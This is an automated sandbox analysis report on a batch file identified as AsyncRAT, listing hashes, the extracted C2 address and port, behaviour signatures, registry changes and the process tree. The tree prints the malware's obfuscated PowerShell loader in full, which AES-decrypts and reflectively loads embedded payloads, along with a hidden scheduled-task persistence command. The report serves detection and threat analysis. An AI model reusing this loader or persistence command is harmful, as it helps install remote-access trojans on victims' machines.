Analysis
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max time kernel
144s -
max time network
145s -
platform
windows10-ltsc 2021_x64 -
resource
win10ltsc2021-20241023-en -
resource tags
arch:x64arch:x86image:win10ltsc2021-20241023-enlocale:en-usos:windows10-ltsc 2021-x64system -
submitted
20-11-2024 20:48
Static task
static1
General
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Target
skibidi toilet.bat
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Size
388KB
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MD5
0380a9d31f2f8313a3a3e90ca34b9f77
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SHA1
18813e82100f6d678b298d34b6a87a401c8239de
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SHA256
69d15a8ca658c1d8713cbd088c4e04833e3915ed13ed0cb6d33bb2995c431986
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SHA512
6113f556d8720bd11b446e021d8eeab5648395958b0953b50d6de9be7ec5d9f5f1a2553f4077ac842b3e7f45fd07c7b0379eeb57d6bd6241c028b68859b7c5f7
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SSDEEP
6144:o3u2w8vphGO0vcnEwFWlmyW7yH/mMpzYs4CpUwKidD+N3OghugCCb6ChemLJKaf:oXPpmfwogyWWHFdYsxjjdDngISjtKC
Malware Config
Extracted
asyncrat
Default
193.161.193.99:36700
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delay
1
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install
true
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install_file
syskprvalr.exe
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install_folder
%AppData%
Signatures
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Asyncrat family
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Async RAT payload 1 IoCs
resource yara_rule behavioral1/memory/736-58-0x0000027C714F0000-0x0000027C71506000-memory.dmp family_asyncrat -
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
pid Process 2680 powershell.exe 2268 powershell.exe 736 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-87863914-780023816-688321450-1000\Control Panel\International\Geo\Nation WScript.exe -
Executes dropped EXE 1 IoCs
pid Process 4772 syskprvalr.exe -
Drops file in System32 directory 10 IoCs
description ioc Process File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\System32\Tasks\syskprvalr svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Delays execution with timeout.exe 1 IoCs
pid Process 844 timeout.exe -
Modifies data under HKEY_USERS 42 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "00188010E600DB34" svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates svchost.exe -
Modifies registry class 8 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-87863914-780023816-688321450-1000_Classes\Local Settings powershell.exe Key created \REGISTRY\USER\S-1-5-21-87863914-780023816-688321450-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\MicrosoftWindows.Client.CBS_cw5n1h2txyewy svchost.exe Key created \REGISTRY\USER\S-1-5-21-87863914-780023816-688321450-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\HAM\AUI svchost.exe Key created \REGISTRY\USER\S-1-5-21-87863914-780023816-688321450-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\HAM\AUI\Global.IrisService svchost.exe Key created \REGISTRY\USER\S-1-5-21-87863914-780023816-688321450-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\HAM\AUI\Global.IrisService\V1 svchost.exe Key created \REGISTRY\USER\S-1-5-21-87863914-780023816-688321450-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\HAM\AUI\Global.IrisService\V1\LU svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-87863914-780023816-688321450-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\HAM\AUI\Global.IrisService\V1\LU\PCT = "133766093300798754" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-87863914-780023816-688321450-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\HAM\AUI\Global.IrisService\V1\LU\PTT = "133766094218515411" svchost.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1940 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 48 IoCs
pid Process 2680 powershell.exe 2680 powershell.exe 2268 powershell.exe 2268 powershell.exe 736 powershell.exe 736 powershell.exe 736 powershell.exe 736 powershell.exe 736 powershell.exe 736 powershell.exe 736 powershell.exe 736 powershell.exe 736 powershell.exe 736 powershell.exe 736 powershell.exe 736 powershell.exe 736 powershell.exe 736 powershell.exe 736 powershell.exe 736 powershell.exe 736 powershell.exe 736 powershell.exe 736 powershell.exe 736 powershell.exe 736 powershell.exe 736 powershell.exe 736 powershell.exe 736 powershell.exe 736 powershell.exe 736 powershell.exe 736 powershell.exe 736 powershell.exe 736 powershell.exe 736 powershell.exe 736 powershell.exe 736 powershell.exe 736 powershell.exe 736 powershell.exe 736 powershell.exe 736 powershell.exe 736 powershell.exe 736 powershell.exe 736 powershell.exe 736 powershell.exe 736 powershell.exe 736 powershell.exe 4772 syskprvalr.exe 4772 syskprvalr.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 3652 Explorer.EXE -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2680 powershell.exe Token: SeDebugPrivilege 2268 powershell.exe Token: SeIncreaseQuotaPrivilege 2268 powershell.exe Token: SeSecurityPrivilege 2268 powershell.exe Token: SeTakeOwnershipPrivilege 2268 powershell.exe Token: SeLoadDriverPrivilege 2268 powershell.exe Token: SeSystemProfilePrivilege 2268 powershell.exe Token: SeSystemtimePrivilege 2268 powershell.exe Token: SeProfSingleProcessPrivilege 2268 powershell.exe Token: SeIncBasePriorityPrivilege 2268 powershell.exe Token: SeCreatePagefilePrivilege 2268 powershell.exe Token: SeBackupPrivilege 2268 powershell.exe Token: SeRestorePrivilege 2268 powershell.exe Token: SeShutdownPrivilege 2268 powershell.exe Token: SeDebugPrivilege 2268 powershell.exe Token: SeSystemEnvironmentPrivilege 2268 powershell.exe Token: SeRemoteShutdownPrivilege 2268 powershell.exe Token: SeUndockPrivilege 2268 powershell.exe Token: SeManageVolumePrivilege 2268 powershell.exe Token: 33 2268 powershell.exe Token: 34 2268 powershell.exe Token: 35 2268 powershell.exe Token: 36 2268 powershell.exe Token: SeIncreaseQuotaPrivilege 2268 powershell.exe Token: SeSecurityPrivilege 2268 powershell.exe Token: SeTakeOwnershipPrivilege 2268 powershell.exe Token: SeLoadDriverPrivilege 2268 powershell.exe Token: SeSystemProfilePrivilege 2268 powershell.exe Token: SeSystemtimePrivilege 2268 powershell.exe Token: SeProfSingleProcessPrivilege 2268 powershell.exe Token: SeIncBasePriorityPrivilege 2268 powershell.exe Token: SeCreatePagefilePrivilege 2268 powershell.exe Token: SeBackupPrivilege 2268 powershell.exe Token: SeRestorePrivilege 2268 powershell.exe Token: SeShutdownPrivilege 2268 powershell.exe Token: SeDebugPrivilege 2268 powershell.exe Token: SeSystemEnvironmentPrivilege 2268 powershell.exe Token: SeRemoteShutdownPrivilege 2268 powershell.exe Token: SeUndockPrivilege 2268 powershell.exe Token: SeManageVolumePrivilege 2268 powershell.exe Token: 33 2268 powershell.exe Token: 34 2268 powershell.exe Token: 35 2268 powershell.exe Token: 36 2268 powershell.exe Token: SeIncreaseQuotaPrivilege 2268 powershell.exe Token: SeSecurityPrivilege 2268 powershell.exe Token: SeTakeOwnershipPrivilege 2268 powershell.exe Token: SeLoadDriverPrivilege 2268 powershell.exe Token: SeSystemProfilePrivilege 2268 powershell.exe Token: SeSystemtimePrivilege 2268 powershell.exe Token: SeProfSingleProcessPrivilege 2268 powershell.exe Token: SeIncBasePriorityPrivilege 2268 powershell.exe Token: SeCreatePagefilePrivilege 2268 powershell.exe Token: SeBackupPrivilege 2268 powershell.exe Token: SeRestorePrivilege 2268 powershell.exe Token: SeShutdownPrivilege 2268 powershell.exe Token: SeDebugPrivilege 2268 powershell.exe Token: SeSystemEnvironmentPrivilege 2268 powershell.exe Token: SeRemoteShutdownPrivilege 2268 powershell.exe Token: SeUndockPrivilege 2268 powershell.exe Token: SeManageVolumePrivilege 2268 powershell.exe Token: 33 2268 powershell.exe Token: 34 2268 powershell.exe Token: 35 2268 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 876 wrote to memory of 5004 876 cmd.exe 86 PID 876 wrote to memory of 5004 876 cmd.exe 86 PID 876 wrote to memory of 2680 876 cmd.exe 87 PID 876 wrote to memory of 2680 876 cmd.exe 87 PID 2680 wrote to memory of 2268 2680 powershell.exe 90 PID 2680 wrote to memory of 2268 2680 powershell.exe 90 PID 2680 wrote to memory of 2084 2680 powershell.exe 94 PID 2680 wrote to memory of 2084 2680 powershell.exe 94 PID 2084 wrote to memory of 3628 2084 WScript.exe 96 PID 2084 wrote to memory of 3628 2084 WScript.exe 96 PID 3628 wrote to memory of 3192 3628 cmd.exe 98 PID 3628 wrote to memory of 3192 3628 cmd.exe 98 PID 3628 wrote to memory of 736 3628 cmd.exe 99 PID 3628 wrote to memory of 736 3628 cmd.exe 99 PID 736 wrote to memory of 3652 736 powershell.exe 57 PID 736 wrote to memory of 3540 736 powershell.exe 72 PID 736 wrote to memory of 1564 736 powershell.exe 26 PID 736 wrote to memory of 5100 736 powershell.exe 67 PID 736 wrote to memory of 1944 736 powershell.exe 35 PID 736 wrote to memory of 1808 736 powershell.exe 31 PID 736 wrote to memory of 2728 736 powershell.exe 45 PID 736 wrote to memory of 1348 736 powershell.exe 23 PID 736 wrote to memory of 1932 736 powershell.exe 34 PID 736 wrote to memory of 2408 736 powershell.exe 71 PID 736 wrote to memory of 1336 736 powershell.exe 22 PID 736 wrote to memory of 744 736 powershell.exe 15 PID 736 wrote to memory of 2316 736 powershell.exe 41 PID 736 wrote to memory of 1920 736 powershell.exe 33 PID 736 wrote to memory of 3296 736 powershell.exe 74 PID 736 wrote to memory of 3096 736 powershell.exe 52 PID 736 wrote to memory of 1320 736 powershell.exe 21 PID 736 wrote to memory of 1708 736 powershell.exe 30 PID 736 wrote to memory of 520 736 powershell.exe 14 PID 736 wrote to memory of 1228 736 powershell.exe 19 PID 736 wrote to memory of 2880 736 powershell.exe 49 PID 736 wrote to memory of 908 736 powershell.exe 11 PID 736 wrote to memory of 2276 736 powershell.exe 40 PID 736 wrote to memory of 1088 736 powershell.exe 18 PID 736 wrote to memory of 956 736 powershell.exe 12 PID 736 wrote to memory of 4420 736 powershell.exe 92 PID 736 wrote to memory of 2836 736 powershell.exe 48 PID 736 wrote to memory of 1540 736 powershell.exe 100 PID 736 wrote to memory of 660 736 powershell.exe 68 PID 736 wrote to memory of 1644 736 powershell.exe 37 PID 736 wrote to memory of 1044 736 powershell.exe 16 PID 736 wrote to memory of 1240 736 powershell.exe 20 PID 736 wrote to memory of 3796 736 powershell.exe 58 PID 736 wrote to memory of 1628 736 powershell.exe 29 PID 736 wrote to memory of 2808 736 powershell.exe 46 PID 736 wrote to memory of 1620 736 powershell.exe 28 PID 736 wrote to memory of 1816 736 powershell.exe 32 PID 736 wrote to memory of 3284 736 powershell.exe 55 PID 736 wrote to memory of 2008 736 powershell.exe 36 PID 736 wrote to memory of 2596 736 powershell.exe 44 PID 736 wrote to memory of 2196 736 powershell.exe 39 PID 736 wrote to memory of 2588 736 powershell.exe 43 PID 736 wrote to memory of 1576 736 powershell.exe 27 PID 736 wrote to memory of 1400 736 powershell.exe 25 PID 736 wrote to memory of 2380 736 powershell.exe 42 PID 736 wrote to memory of 1392 736 powershell.exe 24 PID 736 wrote to memory of 3556 736 powershell.exe 56 PID 736 wrote to memory of 796 736 powershell.exe 10 PID 736 wrote to memory of 400 736 powershell.exe 13 PID 736 wrote to memory of 1980 736 powershell.exe 102 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p1⤵
- Modifies registry class
PID:796
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k RPCSS -p1⤵PID:908
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:956
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:400
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:520
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:744
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1044
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:1088
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1228
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p1⤵PID:1240
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
PID:1320
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1336
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1348
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1392
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1400
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1564
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1576
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1620
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1628
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1708
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1808
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1816
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1920
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1932
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1944
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:2008
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1644
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p1⤵PID:2196
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2276
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵PID:2316
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2380
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2588
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2596
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2728
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2808
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2836
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2880
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:3096
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵PID:3284
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3556
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: GetForegroundWindowSpam
PID:3652 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\skibidi toilet.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:876 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('CPhTYHGGaK5kR6WZsuoVhlIwb+IqmKt8baaxuijRuI4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Z1JlipVIlWVZFlcCvp9zRw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ZTmBJ=New-Object System.IO.MemoryStream(,$param_var); $pGmqB=New-Object System.IO.MemoryStream; $vofyh=New-Object System.IO.Compression.GZipStream($ZTmBJ, [IO.Compression.CompressionMode]::Decompress); $vofyh.CopyTo($pGmqB); $vofyh.Dispose(); $ZTmBJ.Dispose(); $pGmqB.Dispose(); $pGmqB.ToArray();}function execute_function($param_var,$param2_var){ $DYWjL=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ncJGU=$DYWjL.EntryPoint; $ncJGU.Invoke($null, $param2_var);}$iDcUp = 'C:\Users\Admin\AppData\Local\Temp\skibidi toilet.bat';$host.UI.RawUI.WindowTitle = $iDcUp;$WZHtU=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($iDcUp).Split([Environment]::NewLine);foreach ($wZzpc in $WZHtU) { if ($wZzpc.StartsWith('NYmtFIDAzglHySitKOHK')) { $YPjeF=$wZzpc.Substring(20); break; }}$payloads_var=[string[]]$YPjeF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "3⤵PID:5004
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden3⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2680 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_300_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_300.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2268
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_300.vbs"4⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2084 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_300.bat" "5⤵
- Suspicious use of WriteProcessMemory
PID:3628 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('CPhTYHGGaK5kR6WZsuoVhlIwb+IqmKt8baaxuijRuI4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Z1JlipVIlWVZFlcCvp9zRw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ZTmBJ=New-Object System.IO.MemoryStream(,$param_var); $pGmqB=New-Object System.IO.MemoryStream; $vofyh=New-Object System.IO.Compression.GZipStream($ZTmBJ, [IO.Compression.CompressionMode]::Decompress); $vofyh.CopyTo($pGmqB); $vofyh.Dispose(); $ZTmBJ.Dispose(); $pGmqB.Dispose(); $pGmqB.ToArray();}function execute_function($param_var,$param2_var){ $DYWjL=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ncJGU=$DYWjL.EntryPoint; $ncJGU.Invoke($null, $param2_var);}$iDcUp = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_300.bat';$host.UI.RawUI.WindowTitle = $iDcUp;$WZHtU=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($iDcUp).Split([Environment]::NewLine);foreach ($wZzpc in $WZHtU) { if ($wZzpc.StartsWith('NYmtFIDAzglHySitKOHK')) { $YPjeF=$wZzpc.Substring(20); break; }}$payloads_var=[string[]]$YPjeF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "6⤵PID:3192
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:736 -
